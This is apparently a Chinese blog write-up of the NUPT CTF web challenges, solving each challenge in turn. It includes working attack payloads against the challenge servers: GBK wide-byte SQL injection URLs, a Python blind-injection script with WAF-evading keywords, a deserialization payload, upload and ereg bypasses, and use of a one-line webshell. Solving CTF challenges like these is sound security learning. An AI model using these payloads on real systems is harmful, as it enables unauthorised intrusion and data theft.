南邮ctf(web wp)

签到

源代码就有了

md5 collision

传一个字符串,值跟QNKCDZO一样但是又不是它的就行了

签到2

改了本地的maxlength就能输进去zhimakaimen然后拿到flag了

这题不是WEB

把图片下载下来丢去010editor就能看到flag了

层层递进

点进去一直找,找到一个404.html就能看到了,真的藏得很深

南邮ctf(web wp)_第1张图片

单身二十年

页面很快就跳转,抓包就行了

南邮ctf(web wp)_第2张图片

你从哪里来

这题抓包改一下referer成https://www.google.com就能拿到flag了,但是后台挂了,gg

php decode

这题我弄了很久,没看懂题目在要我简单的跑程序出flag还是要看着加密过程逆出来..........

然鹅,只是简单地跑下程序就出来了

文件包含

这题oj也挂了,不过找到这个网址,应该是以前的oj的题,这个能做

http://4.chinalover.sinaapp.com/web7/index.php

先php://input试一下,发现触发waf

南邮ctf(web wp)_第3张图片

所以可以利用php://filter作为中间流去输出其他文件或者我们想要输入的东西,下面是输出index.php的源码,经过base64解密

南邮ctf(web wp)_第4张图片

解密得到

南邮ctf(web wp)_第5张图片

单身一百年也没用

这题其实跟前一题单身题差不多,只是flag在响应头里

download

这题挂了,文件都下载不了,做不了=_=

cookie

题目提示很明显,看到cookie里面login是0

南邮ctf(web wp)_第6张图片

改下成1就get flag了

MySQL

这题进去可以见到网页有Do you know robots.txt?

访问一下robots.txt可以看见一些源码

TIP:sql.php

no! try again

"; } else{ echo($query[content]); } } ?>

这题可以看见,后台将得到的参数进行整数转化,所以我们想闭合单引号进行注入是不行的了(这题也不是考注入........

但是如果我们输入1024e12的话,$id会是1024,int型直接去掉e后面的数字进行赋值,但是当判断$_GET[id]==1024时就会为假,因为没有强制类型转化,所以两个一个是1024,一个是1024*10^12,不相等,因此就能绕过得到flag

南邮ctf(web wp)_第7张图片

sql injection3

这题进去看见可以输入id,而id被单引号括着,在后面加一个单引号,发现被转义了,再加多一个反斜杠,结果又被转义的,猜测后台应该是有了addslashes函数,尝试下宽字节注入

这里有个提示是,当id等于2时页面会有gbk_sql_injection,当id等于3时页面会有the fourth table

所以剩下的要做的就是宽字节注入,查看第四张表

看数据库

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,database() --+

南邮ctf(web wp)_第8张图片

然后就是看表

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572 --+

因为无法添加单引号或者双引号,所以用16进制绕过

题目提示了是第四张表,所以就直接看第四张表了

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 --+

南邮ctf(web wp)_第9张图片

最后直接读flag了

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,flag from ctf4 --+

南邮ctf(web wp)_第10张图片

/x00

这题是ereg函数绕过

进去就给源码

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

传进去一个nctf参数,要是数字,同时又要在里面有#biubiubiu,看起来好像很矛盾,但是有个ereg函数在

两个方法

第一个

%00截断,ereg函数解析到%00时会自动认为字符串已经结束,所以就能绕过第一个检测同时符合第二个了

南邮ctf(web wp)_第11张图片

第二个

传入数组,因为ereg处理数组会报null,第一个判断为假,所以刚好绕过了,而且strpos检测的也是报null,不等于false,也绕过了,就能出flag了

南邮ctf(web wp)_第12张图片

bypass again

这题是考弱类型,只要是0e开头,php都会认为他们是相等的,所以传入几个md5以后是0e开头的值就行了

南邮ctf(web wp)_第13张图片

变量覆盖

这题进去能看到有个source.php,点开看一看发现

南邮ctf(web wp)_第14张图片

pass是我们传进去的密码,thepassword_123是后台的密码,但是我们拿不到咯嗦,可是他有一个extract函数,可以对获得的变量进行赋值,构造一个语句,使pass和thepassword_123相等,就有flag了

南邮ctf(web wp)_第15张图片

PHP是世界上最好的语言

这题貌似服务器又挂了2333,点进去.......就没了.........

伪装者

这题据说是抓包改下X-Forwarded-For:127.0.0.1发过去就有flag了,可是发包过去居然没响应.........试下改了referer也还是不行,应该是挂了8,gg

Header

这题提示头啊,应该就是抓包看头部就有flag了,但是服务器不响应,喵喵喵?太阔怕辣

上传绕过

就去看到有个文件上传

这题上传图片返回要上传php,上传php返回文件类型不对

试下大小写Php,php3不行,改content-type不行,1.php.jpg会解析出图片,filename截断也不可以,最后是路径截断

南邮ctf(web wp)_第16张图片

南邮ctf(web wp)_第17张图片

然后就有flag了

南邮ctf(web wp)_第18张图片

SQL注入1

这题source有源码



Secure Web Login


'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "

Logged in! flag:********************

"; } if($query[user] != "admin") { echo("

You are not admin!

"); } } echo $query[user]; ?>
Source

闭合单引号括号注释后面进行查询就行了

南邮ctf(web wp)_第19张图片

pass check

源码

因为是用strcmp去比较,所以如果传入数组就会返回0,非了以后就是真了

南邮ctf(web wp)_第20张图片

起名字真难

这题也给了源码

= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else 
    echo 'access denied';
?>

传入的key不能有数字但是又要等于54975581388,用十六进制转化一下

南邮ctf(web wp)_第21张图片

密码重置

服务器挂了, ̄□ ̄||

php反序列化

这题也是讲下思路,有源码,但是也是进不去网页......

secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

利用反序列化输入一个对象满足条件去实现绕过

enter =& $this->secret;
    }
}
$flag = new just4fun();
$flag->just4fun2();

echo serialize($flag);

取secret的地址赋给enter,就能满足条件了

本地测试得出O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

对页面进行访问就行了

sql injection4

源码可以看到

#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
	if(get_magic_quotes_gpc()){
		$str=stripslashes($str);
	}
	return htmlentities($str, ENT_QUOTES); //转义单引号和双引号
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}

echo $flag;

这题单引号双引号用不了,但是可以用反斜杠把单引号转义了

南邮ctf(web wp)_第22张图片

综合题

这题进去看到jsfuck代码

南邮ctf(web wp)_第23张图片

解密得到

访问看到

南邮ctf(web wp)_第24张图片

脑袋联想到响应头

南邮ctf(web wp)_第25张图片

访问一下

南邮ctf(web wp)_第26张图片

继续访问就有一个压缩包下下来,打开就有flag了

system

挂了..........

SQL注入2

源码



Secure Web Login II



Logged in! Key: ntcf{**************} 

"; } else { echo("

Log in failure!

"); } } ?>
Source

这题跟实验吧程序逻辑错误很像,构造sql语句,闭合前面,然后后面加上我们的赋值,就可以让语句查询到值了

南邮ctf(web wp)_第27张图片

综合题2

这题点进去本cms说明的时候可以发现这里改一下后面的file的值是可以读取文件的,将文件读一下

这里用个脚本

import requests
import codecs
from bs4 import BeautifulSoup
url = "http://cms.nuptzj.cn/about.php?file="
file_list = ["index.php", "passencode.php", "say.php", "config.php", "antixss.php", "about.php", "so.php",
             "antiinject.php", "xlcteam.php","loginxlcteam.php"]
for i in file_list:
    res = requests.get(url + i)
    print("dowload " + i)
    if res.status_code == 200:
        res.encoding = "utf8"
    with codecs.open(i, "w+", "utf8") as handle:
        print("done")
        text = BeautifulSoup(res.text, "lxml").text
        handle.write(text)

然后就能得到这些文件的源码了,这里有些是后来加上去的,题目一开始没有提示那么多,做着做着就发现了

这里只贴几个重要的文件的源码

so.php





搜索留言



    '.antixss($rs['say']).'
'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?>

antiinjection.php

passencode.php

其他的表可以得知数据表示admin,然后这里绕waf的脚本也知道了,剩下的就是注入了,注入点就是搜索那里,看回so.php,可以见到id没有引号括着,不用闭合(后台也过滤了引号

如果输入的语句是正确的,网页就会返回一段大秘密的话(很长

如果不正确,那就没有数据回显

然后就可以进行盲注了,这里贴贴大佬的脚本,肉鸡太菜了,脚本跑不动,不知道错在哪.........

import requests
url = "http://cms.nuptzj.cn/so.php"
chars = "0123456789"
header = {
    'User-Agent': 'Xlcteam Browser',
    'Host': 'cms.nuptzj.cn',
}
result = ""
for i in range(1,35):
    for j in chars:
        # print(j)
        char = ord(j)
        payload = '1/*x*/anANDd/*x*/exists(seleSELECTct/*x*/*/*x*/frFROMom/*x*/admiADMINn/*x*/WHERE/*x*/oORrd(substring(userpaspasss/*x*/froFROMm/*x*/{0}/*a*/FOorR/*a*/1))>{1})'.format(
            i, char)
        data = {
            "soid": payload
        }
        response = requests.post(url=url, headers=header, data=data)
        # print(response.text)
        result_len = len(str(response.text))
        if (result_len < 430):
            result += chr(int(char))
            print(result)
            break

得出结果是1020117099010701140117011001160117

后台对密码的加密是对应他们的ascii码,所以解密过来就是fuckruntu

然后登录管理员页面,这里管理员页面是http://cms.nuptzj.cn/loginxlcteam/index.php

这个地址基本靠猜,看到有个loginxlcteam.php文件猜测的,真的没找到哪里有说明

登进去以后看到这个

南邮ctf(web wp)_第28张图片

然后一开始文件漏洞是可以帮我们看到xlcteam.php的源码的

 '|.*|e',);
array_walk($arr, $e, '');
?>

然后就是一句话木马的利用

南邮ctf(web wp)_第29张图片

南邮ctf(web wp)_第30张图片

flag get√

注入实战1

后台挂了,GG

密码重置2

挂了too

你可能感兴趣的:(ctf)